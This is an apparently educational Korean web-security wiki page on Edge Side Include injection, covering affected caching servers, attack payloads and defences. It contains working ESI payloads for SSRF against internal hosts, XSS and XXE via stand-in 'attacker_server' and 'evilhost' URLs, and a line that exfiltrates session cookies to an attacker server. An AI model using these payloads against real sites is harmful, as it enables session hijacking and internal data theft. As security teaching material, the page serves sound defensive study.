๐ Introduction
ESIi๋ ESI(Edge Side Include) Injection์ผ๋ก ESI ์ฌ์ฉํ๋ ํ๊ฒฝ์์ ํด๋น Markup์ ๋ํ Injection ๊ณต๊ฒฉ์ ์๋ฏธํฉ๋๋ค.
ESI๋ Edge Side Include์ ์ฝ์๋ก ์ธํฐ๋ท์ Edge์์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ๋์ ์ด์ ๋ธ๋ฆฌ ๋ฐ ์ ์ก์ ์ํ ์น ํ์ด์ง ๊ตฌ์ฑ ์์๋ฅผ ์ ์ํ๋ ๋ฐ ์ฌ์ฉ๋๋ ๊ฐ๋จํ ๋งํฌ์ ์ธ์ด์ ๋๋ค. Page assembly๋ฅผ ์ํ ํ์ค ํ๊ทธ๋ก ์น ์บ์, LB ๋ฑ์ ๊ตฌ์กฐ์์ ์ฌ์ฉ๋ฉ๋๋ค.
HTML ์ฝ๋ ๋ด์์ ESI๋ ์๋์ ๊ฐ์ด <esi:>
ํ๊ทธ๋ก ์น ๋ธ๋ผ์ฐ์ ๋ก Response body๊ฐ ๋์ด์ค๊ธฐ ์ ์ ESI๋ฅผ ์ฒ๋ฆฌํ ์ ์๋ ์บ์ ์๋ฒ๋ฑ์์ ๋ฏธ๋ฆฌ ์ฒ๋ฆฌ๋์ด ๋ฐ์ดํฐ๊ฐ ๋์ด์ค๊ฒ ๋ฉ๋๋ค.
<table>
<tr>
<td>test</td>
<td>
<esi:try>
Invalid markup here
<esi:attempt>
<esi:include โฆ >
<!-- ์ค์ ์ฝ๋ ๊ตฌ์ฑ์ผ๋ก <esi: ์ด๋ ๊ฒ ์์ํ์ง๋ง, -->
<!-- ์บ์์์ ํด๋น ๋ถ๋ถ ๋ด์ฉ์ ์ฑ์ฐ๊ณ ์ฌ์ฉ์์๊ฒ ๋๊ฒจ์ค๋๋ค. -->
This line is valid and will be processed.
</esi:attempt>
Invalid markup here
<esi:except>
This HTML line is valid and will be processed.
</esi:except>
Invalid markup here
</esi:try>
</td>
Affected
ATS, Squid ๋ฑ ์ฌ๋ฌ Application์์ ์ฌ์ฉ ๊ฐ๋ฅํฉ๋๋ค. ์๋ ๋ฆฌ์คํธ ์ด์ธ์๋ ๋ง์ Application์ด ์ด๋ฅผ ์ง์ํ๊ณ ์์ต๋๋ค.
Service | Include | Param | Headers |
---|---|---|---|
ATS(Apache Traffic Server) | O | O | O |
Squid3 | O | O | O |
Varnish Cache | O | N | N |
Fastly | O | N | N |
Akamai ESI Test Server | O | O | O |
NodeJS - esi | O | O | O |
NodeJS - nodesi | O | N | N |
Oracle Web Cache | O | O | O |
๐ก Offensive techniques
Detect
<esi:include โฆ >
๊ณผ ๊ฐ์ด esi ๋ฌธ๋ฒ์ ํตํด ์ค์ ๋ก ๋ธ๋ผ์ฐ์ ๋ก ๋ฐ์ดํฐ๊ฐ ๋์ด์ค๊ธฐ ์ esi ์ฒ๋ฆฌ๊ฐ ์๋์ง ํ์ธํ๋ฉด ๋ฉ๋๋ค. ๊ฐ๋จํ ๋ฐฉ๋ฒ์ผ๋ก ์์ ํ์ด์ง๋ฅผ include ํ๋ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค.
esii test
<esi:include src="http https://www.hahwul.com/CNAME"/>
https://www.hahwul.com/CNAME ํ์ด์ง์ Body๋ ์๋์ ๊ฐ์ด www.hahwul.com
๋ง ์์ต๋๋ค.
์ด์ ์ด ์ฝ๋๋ฅผ ๋ก๋์ํค๋ ํ์ด์ง์์ esi ๊ตฌ๋ฌธ ๋์ www.hahwul.com์ด ์ฐํ๊ฒ ๋๋ฉด LB๋ ์บ์ ๋ฑ์์ ESI ๋ฌธ๋ฒ์ ์ฒ๋ฆฌํ๋ค๋ ๊ฒ์ ์ ์ ์์ต๋๋ค.
esii test
www.hahwul.com
Exploitation
SSRF
include๋ฅผ ํตํด ๊ณต๊ฒฉ์๊ฐ ์๋ํ URL์ Response ํ์ด์ง ๋ด include ์ํฌ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ด์ฉํด์ SSRF๋ก ๋ด๋ถ ์์คํ ์ ์ ๊ทผํ๊ฑฐ๋ OOB(Out-of-Band)๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค.
<esi:include src="https://internal_domain"/>
<esi:include src=http://127.0.0.1/server-status/>
<esi:include src=http://internal_domain/server_base_csrf_page/>
Session Hijacking
ESI์์ ${HTTP_COOKIE}๋ฅผ ์ฌ์ฉํ๋ฉด ์ฟ ํค ์ ๋ณด๋ฅผ ์ฝ์ ์ ์์ต๋๋ค. ๋ํ ์ด๋ฅผ ํตํด์ ์ฟ ํค ๋ฑ์ ํ์ทจํ ์ ์์ต๋๋ค. ์ด๋ฌํ ํํ๋ก ํ์ทจํ๋ ๊ฒฝ์ฐ ์ฟ ํค ๋ณด์ ์ ์ฑ ์ ๋ฐ์ง ์๊ธฐ ๋๋ฌธ์ HttpOnly ๋ฑ์ผ๋ก ๋ณดํธ๋ ์ฟ ํค๋ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค.
<esi:vars>$(HTTP_COOKIE)</esi:vars>
<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars>
<esi:vars>$(HTTP_COOKIE{JSESSIONID})</esi:vars>
<esi:vars>$(HTTP_COOKIE{Private_Cookie})</esi:vars>
ํ๋ ์๋ฅผ๋ค์ด ๋ณด๋ฉด ์๋ include๋ก ๊ณต๊ฒฉ์์ ๋๋ฉ์ธ์ ์น ์์ฒญ์ ๋ฐ์ ์ํค๋๋ก ์ ๋ํ๊ณ Query์ Cookie ๊ฐ์ ์ฝ์ด์ ์ ์กํ๋๋ก ESI ๊ตฌ๋ฌธ์ ์์ฑํฉ๋๋ค.
<esi:include src="https://attacker_server/?$(HTTP_COOKIE)"/>
ํด๋น ESI ๊ตฌ๋ฌธ์ด ์ฒ๋ฆฌ๋์ด ์คํ๋๋ ์๊ฐ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์น ์์ฒญ์ด ๋ฐ์ํ๋ฉด์ ์น ๋ก๊ทธ๋ฅผ ํตํด ์ฟ ํค ์ ๋ณด๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค.
Attacker server
127.0.0.1 "GET /?auth=56F21F5D19F9402B04610CF9108264BC266FBAF7... HTTP/1.1" 200
XSS
ESI์์ include๋ response ํ์ด์ง์ ์ง์ ํด๋น ํ์ด์ง๋ฅผ ์ฝ์ ํ๊ธฐ ๋๋ฌธ์ ๋ฏธ๋ฆฌ ๊ตฌ์ฑํ XSS ์ฝ๋๋ฅผ Response ํ์ด์ง์ ๋ก๋์ํฌ ์ ์์ต๋๋ค.
<esi:include src=https://attacker_server/xss.html/>
XXE
XXE๋ ์ ์ฌํฉ๋๋ค. include๋ก ๊ณต๊ฒฉ์ฝ๋๊ฐ ์ฝ์ ๋ xml ํ์ผ์ ํธ์ถ ์ํต๋๋ค.
<esi:include src="http://evilhost/poc.xml" dca="xslt" stylesheet="http://evilhost/poc.xsl" />
xslt file
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evilhost/file" >]>
<foo>&xxe;</foo>
Leak request body/header
ESI ๊ตฌ๋ฌธ์์ request body์ header๋ ํฌํจ์ํฌ ์ ์์ต๋๋ค. ์ด๋ฅผ ํตํด ํจ์ค์๋๋ ์ธ์ฆ ํ๋ก์ฐ์์ ์ค์ํ ์ ๋ณด๋ฅผ ๊ณต๊ฒฉ์๊ฐ ํ์ทจํ ์๋ ์์ต๋๋ค.
<esi:request_body>
<esi:request_header>
Information leak
์์์ COOKIE ์์๋ฅผ ๋ค์์ง๋ง, ์ด์ธ์๋ ๋ค๋ฅธ ์ ๋ณด๋ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค.
<esi:vars>$(HTTP_USER_AGENT)</esi:vars>
<esi:vars>$(QUERY_STRING)</esi:vars>
More
์ด์ธ์๋ ESI ๋ฌธ๋ฒ์ ํตํด ์ฌ๋ฌ๊ฐ์ง ํํ์ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํฉ๋๋ค. ESI ๋ฌธ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์ ์๋ Oracle ๋ฌธ์๋ฅผ ์ฐธ๊ณ ํ์๊ธฐ ๋ฐ๋๋๋ค.
- https://docs.oracle.com/cd/B14099_19/caching.1012/b14046/esi.htm
Bypass protection
XSS์ ์ ์ฌํฉ๋๋ค. ESI๋ฅผ ์ฌ์ฉํ์ง๋ง ์ผ๋ถ ํน์๋ฌธ์ ๋๋ ๊ณต๊ฒฉ๊ตฌ๋ฌธ ๋ฑ์ ์ ํํ๋๋ก ๋ก์ง์ด ์กด์ฌํ ์ ์์ต๋๋ค. ์ด๋ฐ ๊ฒฝ์ฐ XSS์ ๋์ผํ๊ฒ ์ธ์ฝ๋ฉ ๋ฑ์ ํตํด ์ฐํ๋ฅผ ์๋ํ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ XSS์ Bypass protection ๋ถ๋ถ์ ์ฐธ๊ณ ํด์ฃผ์ธ์.
๐ก Defensive techniques
Disable ESI
๊ฐ์ฅ ๊ฐ๋จํ ๋ฐฉ๋ฒ์ ์๋น์ค์์ ESI๋ฅผ ์ฌ์ฉํ์ง ์๋๋ค๋ฉด Disable ์ฒ๋ฆฌํ๋ ๊ฒ์ ๋๋ค.
Escape ESIi
XSS์ ๋์๋ฐฉ์์ด ์ ์ฌํฉ๋๋ค. ๋ถํ์ํ ํน์๋ฌธ์, ๋ฐ์ดํฐ ํ์ ์ ์์๋ก ํ์ด์ง์ ๋ฐ์์์ผ ๋์์ด ๋ฐ์ํ์ง ์๋๋ก ์ ํํฉ๋๋ค. ๋ํ ESIi๋ ์ฌ์ฉ์ ์ฆ ํด๋ผ์ด์ธํธ๋จ ๊ณต๊ฒฉ์ด๊ธฐ๋ ํ๋ฉด์ ์๋ฒ๋จ ๊ณต๊ฒฉ์ด๊ธฐ๋ ํฉ๋๋ค. HTTP Request Smuggling ๋ฑ ๋ค๋ฅธ ์ทจ์ฝ์ ๊ณผ ๊ฒฐํฉ ์ ๋ ํฐ ๋ฆฌ์คํฌ๋ฅผ ๋ง๋ค ์ ์๊ธฐ ๋๋ฌธ์ ๊ฐ๊ธ์ ๊ผผ๊ผผํ๊ฒ ์ฒดํฌํ๋ ๊ฒ์ด ํ์ํฉ๋๋ค.
๐น Tools
- Iโll make it later and add it ๐
๐ Articles
- https://www.hahwul.com/2018/08/18/edge-side-include-injection-web-attack/
๐ References
- BlackHat US-18 - Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking
- https://www.akamai.com/kr/ko/support/esi.jsp
- https://www.w3.org/TR/esi-lang
- http://www.dbguide.net/upload/data/sem_data/Tech-iSeminar_AS10g_Webcache.pdf
- https://www.hahwul.com/cullinan/xss/#bypass-protection
- https://docs.oracle.com/cd/B14099_19/caching.1012/b14046/esi.htm